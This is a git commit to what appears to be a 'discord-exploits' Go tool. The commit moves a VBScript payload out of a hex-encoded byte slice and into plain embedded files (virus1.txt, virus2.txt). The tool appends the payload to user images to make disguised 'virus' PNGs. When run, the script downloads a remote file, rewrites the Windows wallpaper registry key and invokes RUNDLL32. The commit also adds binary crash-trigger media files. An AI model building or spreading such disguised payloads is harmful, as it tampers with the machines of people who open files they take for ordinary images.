switched to embedded files

a giant slice of bytes is never pretty
This commit is contained in:
Schmenn 2021-04-05 14:24:52 +02:00
parent 5b5eaa9b88
commit a77abe5c32
9 changed files with 41 additions and 37 deletions

File diff suppressed because one or more lines are too long

BIN
exploits/crash.bin Normal file

Binary file not shown.

View file

@ -29,7 +29,7 @@ func RunExpandingVideoTask(fileName string) {
name := modules.CreateName("webm")
fmt.Println("Saved video to: "+name)
fmt.Println("Saved video to: " + name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {

View file

@ -30,7 +30,7 @@ func RunNegativeVideoTask(fileName string) {
name := modules.CreateName("webm")
fmt.Println("Saved video to: "+name)
fmt.Println("Saved video to: " + name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {

File diff suppressed because one or more lines are too long

BIN
exploits/twice.ogg Normal file

Binary file not shown.

View file

@ -1,48 +1,29 @@
package exploits
import (
_ "embed" // embed
"fmt"
"github.com/Schmenn/discord-exploits/modules"
"os"
)
var (
//go:embed virus1.txt
vpng1 []byte
//go:embed virus2.txt
vpng2 []byte
vpng = append(vpng1, vpng2...)
)
// RunVirusImageTask edits file
func RunVirusImageTask(fileName string) {
data, err := os.ReadFile(fileName)
modules.Check(err)
data = append(data, vpng...)
name := modules.CreateName("png")
fmt.Println("Saved video to: "+name)
fmt.Println("Saved video to: " + name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
}
var vpng = []byte(
"\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63"+
"\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45"+
"\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55"+
"\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A"+
"\x53\x68\x65\x6C\x6C\x2E\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E"+
"\x67\x73\x28\x22\x25\x74\x65\x6D\x70\x25\x22\x29\x0D\x0A\x20\x0D\x0A\x64\x69\x6D\x20\x78\x48\x74\x74\x70\x3A\x20"+
"\x53\x65\x74\x20\x78\x48\x74\x74\x70\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x4D\x69"+
"\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x29\x0D\x0A\x64\x69\x6D\x20\x62\x53\x74\x72\x6D"+
"\x3A\x20\x53\x65\x74\x20\x62\x53\x74\x72\x6D\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22"+
"\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D\x22\x29\x0D\x0A\x78\x48\x74\x74\x70\x2E\x4F\x70\x65\x6E\x20\x22"+
"\x47\x45\x54\x22\x2C\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2E\x64\x69\x73\x63\x6F\x72\x64\x61\x70"+
"\x70\x2E\x63\x6F\x6D\x2F\x65\x6D\x6F\x6A\x69\x73\x2F\x36\x38\x31\x35\x37\x37\x36\x32\x35\x33\x39\x34\x38\x37\x32"+
"\x33\x37\x30\x2E\x70\x6E\x67\x3F\x76\x3D\x31\x22\x2C\x20\x46\x61\x6C\x73\x65\x0D\x0A\x78\x48\x74\x74\x70\x2E\x53"+
"\x65\x6E\x64\x0D\x0A\x20\x0D\x0A\x77\x69\x74\x68\x20\x62\x53\x74\x72\x6D\x0D\x0A\x20\x20\x20\x20\x2E\x74\x79\x70"+
"\x65\x20\x3D\x20\x31\x20\x27\x2F\x2F\x62\x69\x6E\x61\x72\x79\x0D\x0A\x20\x20\x20\x20\x2E\x6F\x70\x65\x6E\x0D\x0A"+
"\x20\x20\x20\x20\x2E\x77\x72\x69\x74\x65\x20\x78\x48\x74\x74\x70\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x42\x6F\x64"+
"\x79\x0D\x0A\x20\x20\x20\x20\x2E\x73\x61\x76\x65\x74\x6F\x66\x69\x6C\x65\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74"+
"\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x2C\x20\x32\x20\x27\x2F\x2F\x6F"+
"\x76\x65\x72\x77\x72\x69\x74\x65\x0D\x0A\x65\x6E\x64\x20\x77\x69\x74\x68\x0D\x0A\x20\x0D\x0A\x6F\x62\x6A\x53\x68"+
"\x65\x6C\x6C\x2E\x52\x65\x67\x57\x72\x69\x74\x65\x20\x22\x48\x4B\x43\x55\x5C\x43\x6F\x6E\x74\x72\x6F\x6C\x20\x50"+
"\x61\x6E\x65\x6C\x5C\x44\x65\x73\x6B\x74\x6F\x70\x5C\x57\x61\x6C\x6C\x70\x61\x70\x65\x72\x22\x2C\x20\x73\x74\x72"+
"\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x0D\x0A"+
"\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x75\x6E\x20\x22\x25\x77\x69\x6E\x64\x69\x72\x25\x5C\x53\x79\x73\x74\x65"+
"\x6D\x33\x32\x5C\x52\x55\x4E\x44\x4C\x4C\x33\x32\x2E\x45\x58\x45\x20\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x2C"+
"\x55\x70\x64\x61\x74\x65\x50\x65\x72\x55\x73\x65\x72\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65\x74\x65\x72"+
"\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")

10
exploits/virus1.txt Normal file
View file

@ -0,0 +1,10 @@
Set objShell = CreateObject("WScript.Shell")
Set objEnv = objShell.Environment("User")
strDirectory = objShell.ExpandEnvironmentStrings("%temp%")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "https://cdn.discordapp.com/emojis/681577625394872370.png?v=1", False
xHttp.Send

9
exploits/virus2.txt Normal file
View file

@ -0,0 +1,9 @@
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile strDirectory + "\myImage.png", 2 '//overwrite
end with
objShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", strDirectory + "\myImage.png"
objShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True